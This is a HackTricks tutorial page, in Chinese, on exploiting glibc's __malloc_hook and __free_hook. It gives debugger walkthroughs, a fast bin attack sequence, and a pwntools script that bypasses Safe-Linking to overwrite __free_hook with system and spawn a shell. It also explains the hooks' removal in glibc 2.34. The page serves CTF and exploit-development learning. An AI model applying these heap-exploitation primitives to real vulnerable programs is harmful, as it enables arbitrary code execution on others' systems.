WWW2Exec - __malloc_hook & __free_hook

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Malloc Hook

正如你可以在 Official GNU site 上看到的,变量 __malloc_hook 是一个指针,指向 每当调用 malloc() 时将被调用的函数的地址,该地址 存储在 libc 库的数据段中。因此,如果这个地址被覆盖为一个 One Gadget,例如,当调用 malloc 时,One Gadget 将被调用

要调用 malloc,可以等待程序调用它,或者通过 调用 printf("%10000$c"),这会分配太多字节,使得 libc 调用 malloc 在堆中分配它们。

有关 One Gadget 的更多信息,请参见:

One Gadget

warning

请注意,GLIBC >= 2.34 的钩子已被禁用。在现代 GLIBC 版本中可以使用其他技术。请参见:https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md

Free Hook

在页面的一个示例中滥用了这一点,滥用了一次快速 bin 攻击,之前进行了未排序 bin 攻击:

Unsorted Bin Attack

如果二进制文件具有符号,可以使用以下命令找到 __free_hook 的地址:

bash
gef➤  p &__free_hook

在这篇文章中,你可以找到如何在没有符号的情况下定位 free hook 地址的逐步指南。总结一下,在 free 函数中:

gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- 在这里中断
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

在前面代码中提到的中断位置,$eax 中将会存放 free hook 的地址。

现在进行一个 fast bin attack

  • 首先发现可以在 __free_hook 位置处理大小为 200 的快速 chunks
  • gef➤  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • 如果我们能够在这个位置获取一个大小为 0x200 的快速 chunk,就可以覆盖一个将被执行的函数指针。
  • 为此,创建一个大小为 0xfc 的新 chunk,并用该指针调用合并函数两次,这样我们就可以在快速 bin 中获得一个大小为 0xfc*2 = 0x1f8 的已释放 chunk 的指针。
  • 然后,在这个 chunk 中调用编辑函数,将这个快速 bin 的 fd 地址修改为指向之前的 __free_hook 函数。
  • 接着,创建一个大小为 0x1f8 的 chunk,从快速 bin 中检索之前无用的 chunk,因此再创建一个大小为 0x1f8 的 chunk,以在 __free_hook 中获取一个快速 bin chunk,并用 system 函数的地址覆盖它。
  • 最后,释放一个包含字符串 /bin/sh\x00 的 chunk,调用删除函数,触发指向系统的 __free_hook 函数,参数为 /bin/sh\x00

Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)

glibc 2.32 引入了 Safe-Linking – 一种完整性检查,保护 tcache 和快速 bins 使用的 链表。ptmalloc 现在不再存储原始的前向指针 (fd),而是用以下宏存储它 混淆 过的:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

利用的后果:

  1. 堆泄漏是必需的 – 攻击者必须知道chunk_addr >> 12的运行时值,以构造有效的混淆指针。
  2. 只能伪造完整的8字节指针;单字节部分覆盖将无法通过检查。

因此,一个最小的tcache中毒原语,覆盖glibc 2.32/2.33上的__free_hook看起来像:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

上面的片段改编自最近的CTF挑战,例如UIUCTF 2024 – «Rusty Pointers»openECSC 2023 – «Babyheap G»,这两个挑战都依赖于Safe-Linking绕过来覆盖__free_hook


glibc ≥ 2.34中发生了什么变化?

glibc 2.34(2021年8月)开始,分配钩子__malloc_hook__realloc_hook__memalign_hook__free_hook从公共API中移除,不再被分配器调用。兼容符号仍然为遗留二进制文件导出,但覆盖它们不再影响malloc()free()的控制流。

实际影响:在现代发行版(Ubuntu 22.04+、Fedora 35+、Debian 12等)上,您必须转向其他劫持原语(IO-FILE、__run_exit_handlers、vtable喷洒等),因为钩子覆盖将静默失败。

如果您仍然需要旧的行为进行调试,glibc提供了libc_malloc_debug.so,可以预加载以重新启用遗留钩子——但该库不适合生产环境,可能在未来的版本中消失


参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks